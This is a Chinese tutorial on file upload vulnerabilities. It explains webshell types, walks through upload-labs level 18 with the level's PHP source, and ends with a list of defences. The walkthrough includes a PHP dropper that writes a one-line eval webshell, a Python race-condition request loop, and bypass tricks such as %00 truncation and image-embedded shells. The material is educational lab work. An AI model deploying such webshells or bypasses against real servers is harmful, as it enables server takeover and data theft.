问小白 wenxiaobai
资讯
历史
科技
环境与自然
成长
游戏
财经
文学与艺术
美食
健康
家居
文化
情感
汽车
三农
军事
旅行
运动
教育
生活
星座命理

文件上传漏洞及防御

创作时间:
作者:
@小白创作中心

文件上传漏洞及防御

引用
CSDN
1.
https://blog.csdn.net/2301_76717406/article/details/136787838

文件上传漏洞是Web应用程序中常见的安全漏洞之一,攻击者可以利用该漏洞上传恶意文件,进而控制服务器或网站。本文将详细介绍文件上传漏洞的概念、危害、利用方法和防御措施,帮助读者全面了解这一安全威胁并采取有效的防护措施。

一、什么是文件上传漏洞

文件上传漏洞是指网站或应用程序中存在的一种安全漏洞,攻击者可以利用该漏洞向服务器上传恶意文件。通过文件上传漏洞,攻击者可以上传包含恶意代码的文件,如Web shell、恶意脚本、恶意软件等,从而获取服务器的控制权或执行恶意操作。这可能导致服务器被入侵、敏感数据泄露、服务拒绝等安全问题。通常,攻击者利用文件上传漏洞来执行远程代码,控制服务器或网站,进而实施更广泛的攻击。

危害:

  1. 挂接黑链;
  2. 挖矿;
  3. 文件数据泄露;

二、Webshell

Web shell是一种恶意代码,通常是一段服务器端脚本,可以被黑客上传到受攻击的Web服务器上。一旦成功上传并执行,Web shell可以提供黑客与服务器之间的交互式命令行界面,使黑客能够执行各种操作,如文件操作、系统命令执行、数据库操作等。

Web shell的功能包括但不限于以下几点:

  • 文件管理:可以查看、上传、下载、编辑服务器上的文件。
  • 系统命令执行:可以执行系统命令,如查看系统信息、执行Shell命令等。
  • 数据库操作:可以连接数据库并执行数据库操作。
  • 网站操作:可以修改网站文件、植入恶意代码、篡改网页等。
  • 信息收集:可以获取服务器信息、用户信息、敏感数据等。

Web shell通常被黑客用于获取服务器控制权、窃取敏感信息、传播恶意软件等恶意活动。防范Web shell的方法包括对服务器进行定期安全审计、限制文件上传类型、加强访问控制、定期更新系统和应用程序等。及时发现并清除Web shell对于维护服务器安全至关重要。

Webshell主要分为以下三类:

  • 一句话木马(主要特点):

  • 代码短,一般只有一行代码

  • 场景多,可以单独生成文件,也可以插入到图片中

  • 安全性高,隐匿性强,可变形免杀

  • 小马:

  • 体积小,功能少。只有文件上传功能

  • 大马:

  • 体积大,功能全。能够管理数据库、文件管理、 对站点进行快速的信息收集,甚至能够提权

三、文件上传靶场(upload-labs)

这里以upload-labs的18关为例:

首先查看源码:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}  

发现这一关是首先将文件上传到后端服务器;然后再使用rename(),修改名称;再删除文件;

利用方法:使用Burp或者Python脚本对要上传的文件路径进行不断的访问(upload/nbshell.php),上传一个 nbshell.php,但访问该文件,会在目录下生成一个 huan.php

nbshell.php的内容为:

<?php
fputs(fopen('huan.php','w'),'<?php @eval($_POST["huan"])?>');
?>

首先使用Burp抓包;

使用Intruder模块不断发起请求(不设置payload),

增加并发线程数;

然后编写Python脚本,使其不断访问nbshell.php,使其产生新的文件huan.php

Python脚本:

import requests
url = "http://localhost/upload-labs/upload/nbshell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("ok")
        break  

首先运行Burp,发起请求,再运行Python脚本;

然后观察到Python运行成功;

查看上传的文件,发现存在huan.php;说明上传成功;

然后使用中国蚁剑尝试连接;

可以看到连接成功;然后添加数据进行访问(这样就可以通关);

(这里仅仅对18关进行演示)

四、文件上传漏洞的利用

  1. 找到文件上传的位置,通过提供的上传文件的接口(不一定);
  2. 尝试绕过,成功上传文件;
    常见的绕过方式;
  • 删除/禁用前端JavaScript;
  • 抓包修改;
  • 等价扩展名;
  • 大小写绕过;
  • 双写;
  • 截断(%00);
  • 图片马的绕过;
  1. 获得文件的位置;
  2. 使用蚁剑进行连接;

五、文件上传的防御

文件上传漏洞是一种常见的Web应用程序安全问题,攻击者可以利用这种漏洞上传恶意文件到服务器,从而执行恶意代码或篡改数据。以下是一些防御文件上传漏洞的方法:

  1. 文件类型检查:在上传文件时,验证文件的类型和扩展名,只允许上传安全的文件类型,如图片、文档等。可以通过检查文件的MIME类型或文件扩展名来进行验证。
  2. 文件大小限制:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。可以设置最大文件大小的限制,超过限制的文件将被拒绝上传。
  3. 文件名检查(扩展名):对上传的文件名进行检查,避免使用特殊字符或恶意代码。可以对文件名进行过滤或重命名,确保文件名安全。
  4. 文件内容检查:对上传的文件内容进行检查,确保文件不包含恶意代码或脚本。可以使用文件扫描工具对上传的文件进行检测,以识别潜在的恶意代码。
  5. 存储路径隔离(不要暴露上传的路径):将上传的文件存储在独立的目录中,避免上传文件直接存储在Web根目录下。这样可以防止恶意文件被直接执行或访问。
  6. 文件权限设置:设置上传文件的权限,确保只有必要的用户可以访问上传的文件。避免设置过于宽松的文件权限,以防止恶意用户访问或执行上传的文件。

通过以上方法结合使用,可以有效防御文件上传漏洞,保护Web应用程序的安全。

© 2023 北京元石科技有限公司 ◎ 京公网安备 11010802042949号